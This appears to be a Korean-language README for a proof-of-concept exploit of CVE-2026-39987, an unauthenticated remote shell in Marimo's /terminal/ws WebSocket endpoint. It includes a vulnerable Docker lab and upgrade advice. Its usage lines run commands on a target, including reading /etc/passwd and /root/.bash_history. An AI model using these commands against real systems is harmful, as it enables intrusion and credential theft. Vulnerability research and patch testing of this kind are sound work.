
CVE-2026-39987
Unauthenticated Remote Code Execution in Marimo via WebSocket Terminal
CVE-2026-39987은 Marimo 0.23.0 이전 버전에 영향을 미치는 치명적인 사전 인증 원격 코드 실행 취약점입니다. /terminal/ws WebSocket 엔드포인트는 인증을 완전히 우회하여, 인증되지 않은 모든 공격자가 Marimo 프로세스(일반적으로 Docker 환경에서는 root)의 권한으로 완전한 대화형 PTY 셸을 얻을 수 있도록 합니다.
marimo < 0.23.0marimo >= 0.23.0/terminal/wshttp:// → ws:// 및 https:// → wss:// 변환CVE-2026-39987/
├── CVE-2026-39987-poc.py ← Main Exploit
├── docker-vulnerable/
│ ├── Dockerfile
│ └── docker-compose.yml
├── notebooks/ ← Persistent notebooks (optional)
├── README.md
└── LICENSE
pip install websocket-client
# 기본 사용법
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && hostname"
# 시스템 열거
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami && cat /etc/os-release && ls -la /app"
# 민감한 파일 읽기
python3 CVE-2026-39987-poc.py http://target:2718 "cat /etc/passwd && cat /root/.bash_history"
cd docker-vulnerable
docker compose up --build -d
그런 다음 테스트:
python3 CVE-2026-39987-poc.py http://localhost:2718 "id && whoami"
marimo >= 0.23.0으로 업그레이드/terminal/ws에 대한 접근 제한이 개념 증명은 교육 목적 및 승인된 보안 테스트 전용으로 제작되었습니다. 저자는 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 시스템을 테스트하기 전에 명시적 허가를 받았는지 확인하십시오.
윤리적이고 책임감 있게 사용하십시오.
보안 연구 및 책임 있는 공개를 위해 제작되었습니다.